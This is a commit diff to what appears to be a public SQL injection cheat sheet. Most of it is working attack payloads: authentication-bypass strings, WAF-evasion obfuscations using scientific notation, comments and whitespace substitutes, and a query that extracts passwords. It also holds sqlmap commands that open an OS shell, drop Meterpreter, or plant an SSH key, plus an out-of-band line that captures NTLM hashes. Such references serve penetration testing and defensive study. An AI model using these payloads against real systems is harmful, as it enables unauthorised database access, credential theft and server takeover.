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SQL injections - WAF bypass
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Swissky
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@ -74,4 +74,5 @@ admin") or "1"="1
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admin") or "1"="1"--
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admin") or "1"="1"#
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admin") or "1"="1"/*
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1' or 1.e(1) or '1'='1
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1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
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@ -33,6 +33,11 @@
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* [MYSQL Out of band](#mysql-out-of-band)
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* [DNS exfiltration](#dns-exfiltration)
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* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing)
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* [MYSQL WAF Bypass](#mysql-waf-bypass)
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* [Alternative to information schema](#alternative-to-information-schema)
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* [Alternative to version](#alternative-to-version)
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* [Scientific Notation](#scientific-notation)
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* [Conditional Comments](#conditional-comments)
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* [References](#references)
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@ -549,6 +554,85 @@ select 'osanda' into outfile '\\\\error\\abc';
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load data infile '\\\\error\\abc' into table database.table_name;
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```
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## MYSQL WAF Bypass
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### Alternative to information schema
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`information_schema.tables` alternative
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```sql
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select * from mysql.innodb_table_stats;
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
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| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
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...
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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mysql> show tables in dvwa;
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+----------------+
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| Tables_in_dvwa |
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+----------------+
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| guestbook |
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| users |
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+----------------+
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```
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### Alternative to version
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```sql
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mysql> select @@innodb_version;
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+------------------+
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| @@innodb_version |
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+------------------+
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| 5.6.31 |
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+------------------+
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mysql> select @@version;
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+-------------------------+
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| @@version |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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mysql> mysql> select version();
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+-------------------------+
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| version() |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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```
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### Scientific Notation
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In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent.
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The format is: `base 'e' exponent`.
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For example:
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* `1e3` represents `1 x 10^3` which is `1000`.
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* `1.5e3` represents `1.5 x 10^3` which is `1500`.
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* `2e-3` represents `2 x 10^-3` which is `0.002`.
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The following queries are equivalent:
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* `SELECT table_name FROM information_schema 1.e.tables`
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* `SELECT table_name FROM information_schema .tables`
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In the same way, the common payload to bypass authentication `' or ''='` is equivalent to `' or 1.e('')='` and `1' or 1.e(1) or '1'='1`.
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This technique can be used to obfuscate queries to bypass WAF, for example: `1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2`
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### Conditional Comments
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* `/*! ... */`: This is a conditional MySQL comment. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the `/*!`. If the MySQL version is less than the specified number, the code inside the comment will be ignored.
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* `/*!12345UNION*/`: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher.
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* `/*!31337SELECT*/`: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher.
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Examples: `/*!12345UNION*/`, `/*!31337SELECT*/`
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## References
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- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
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@ -559,3 +643,4 @@ load data infile '\\\\error\\abc' into table database.table_name;
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- [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased)
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- [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100)
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- [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)
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- [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection - Marc Olivier Bergeron - Oct 19, 2021](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
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@ -39,13 +39,19 @@ Attempting to manipulate SQL queries may have goals including:
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* [Polyglot injection](#polyglot-injection-multicontext)
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* [Routed injection](#routed-injection)
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* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
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* [WAF Bypass](#waf-bypass)
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* [Generic WAF Bypass](#generic-waf-bypass)
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* [White spaces alternatives](#white-spaces-alternatives)
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* [No Comma Allowed](#no-comma-allowed)
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* [No Equal Allowed](#no-equal-allowed)
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* [Case modification](#case-modification)
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## Entry point detection
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Detection of an SQL injection entry point
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Simple characters
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* **Error Messages**: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.
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* Simple characters
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```sql
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'
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%27
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@ -59,16 +65,19 @@ Simple characters
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Wildcard (*)
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' # required for XML content
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```
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Multiple encoding
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* Multiple encoding
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```sql
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%%2727
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%25%27
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```
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* Unicode characters
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```
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')
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```
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Merging characters
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* **Tautology-Based SQL Injection**: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering `admin' OR '1'='1` in a username field might log you in as the admin if the system is vulnerable.
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* Merging characters
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```sql
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`+HERP
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'||'DERP
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@ -77,9 +86,7 @@ Merging characters
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'%20'HERP
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'%2B'HERP
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```
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Logic Testing
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* Logic Testing
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```sql
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page.asp?id=1 or 1=1 -- true
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page.asp?id=1' or 1=1 -- true
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@ -87,14 +94,9 @@ page.asp?id=1" or 1=1 -- true
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page.asp?id=1 and 1=2 -- false
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```
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Weird characters
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* **Timing Attacks**: Inputting SQL commands that cause deliberate delays (e.g., using `SLEEP` or `BENCHMARK` functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.
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```sql
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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```
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## DBMS Identification
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@ -126,8 +128,11 @@ transformed into U+0027 APOSTROPHE (')
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["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
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```
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## SQL injection using SQLmap
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[sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers.
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### Basic arguments for SQLmap
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```powershell
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@ -156,19 +161,11 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
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### Shell
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```powershell
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SQL Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
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* SQL Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell`
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* OS Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell`
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* Meterpreter: `python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn`
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* SSH Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/`
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Simple Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
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Dropping a reverse-shell / meterpreter
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
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SSH Shell by dropping an SSH key
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python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
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```
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### Crawl a website with SQLmap and auto-exploit
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@ -429,12 +426,12 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
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After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
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```
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## WAF Bypass
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## Generic WAF Bypass
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### White spaces alternatives
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No Space (%20) - bypass using whitespace alternatives
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* No space allowed (`%20`) - bypass using whitespace alternatives
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```sql
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?id=1%09and%091=1%09--
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?id=1%0Dand%0D1=1%0D--
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@ -443,22 +440,22 @@ No Space (%20) - bypass using whitespace alternatives
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?id=1%0Aand%0A1=1%0A--
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?id=1%A0and%A01=1%A0--
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```
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No Whitespace - bypass using comments
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* No whitespace - bypass using comments
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```sql
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?id=1/*comment*/and/**/1=1/**/--
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```
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No Whitespace - bypass using parenthesis
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* No Whitespace - bypass using parenthesis
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```sql
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?id=(1)and(1)=(1)--
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```
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* Whitespace alternatives by DBMS
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```sql
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-- Example of query where spaces were replaced by ascii characters above 0x80
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♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
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```
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Whitespace alternatives by DBMS
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| DBMS | ASCII characters in hexadicimal |
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| ---- | ------------------------------- |
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| ---------- | ------------------------------- |
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| SQLite3 | 0A, 0D, 0C, 09, 20 |
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| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
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| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
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@ -466,12 +463,8 @@ Whitespace alternatives by DBMS
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| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
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| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
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Example of query where spaces were replaced by ascii characters above 0x80
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```
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♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
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```
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### No Comma
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### No Comma Allowed
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Bypass using OFFSET, FROM and JOIN
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@ -481,7 +474,8 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
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SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
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```
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### No Equal
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### No Equal Allowed
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Bypass using LIKE/NOT IN/IN/BETWEEN
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@ -492,18 +486,16 @@ Bypass using LIKE/NOT IN/IN/BETWEEN
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?id=1 and substring(version(),1,1) between 3 and 4
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```
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### Case modification
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Bypass using uppercase/lowercase (see keyword AND)
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* Bypass using uppercase/lowercase (see keyword AND)
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```sql
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?id=1 AND 1=1#
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?id=1 AnD 1=1#
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?id=1 aNd 1=1#
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```
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Bypass using keywords case insensitive / Bypass using an equivalent operator
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* Bypass using keywords case insensitive / Bypass using an equivalent operator
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```sql
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AND -> &&
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OR -> ||
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@ -512,108 +504,6 @@ OR -> ||
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WHERE -> HAVING
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```
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### Obfuscation by DBMS
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MySQL
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```
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1.UNION SELECT 2
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3.2UNION SELECT 2
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1e0UNION SELECT 2
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SELECT\N/0.e3UNION SELECT 2
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1e1AND-0.0UNION SELECT 2
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1/*!12345UNION/*!31337SELECT/*!table_name*/
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{ts 1}UNION SELECT.`` 1.e.table_name
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SELECT $.`` 1.e.table_name
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SELECT{_ .``1.e.table_name}
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SELECT LightOS . ``1.e.table_name LightOS
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SELECT information_schema 1337.e.tables 13.37e.table_name
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SELECT 1 from information_schema 9.e.table_name
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```
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MSSQL
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```
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.1UNION SELECT 2
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1.UNION SELECT.2alias
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1e0UNION SELECT 2
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1e1AND-1=0.0UNION SELECT 2
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SELECT 0xUNION SELECT 2
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SELECT\UNION SELECT 2
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\1UNION SELECT 2
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SELECT 1FROM[table]WHERE\1=\1AND\1=\1
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SELECT"table_name"FROM[information_schema].[tables]
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```
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Oracle
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```
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1FUNION SELECT 2
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1DUNION SELECT 2
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SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
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SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
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SELECT%00table_name%00FROM%00all_tab_tables
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```
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### More MySQL specific
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`information_schema.tables` alternative
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```sql
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select * from mysql.innodb_table_stats;
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
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| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
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...
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+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
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mysql> show tables in dvwa;
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+----------------+
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| Tables_in_dvwa |
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+----------------+
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| guestbook |
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| users |
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+----------------+
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```
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Version Alternative
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```sql
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mysql> select @@innodb_version;
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+------------------+
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| @@innodb_version |
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+------------------+
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| 5.6.31 |
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+------------------+
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mysql> select @@version;
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+-------------------------+
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| @@version |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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mysql> mysql> select version();
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+-------------------------+
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| version() |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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```
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#### WAF bypass for MySQL using scientific notation
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Blocked
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```sql
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' or ''='
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```
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Working
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```sql
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' or 1.e('')='
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```
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Obfuscated query
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```sql
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1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
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```
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## Labs
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Loading…
Reference in New Issue
Block a user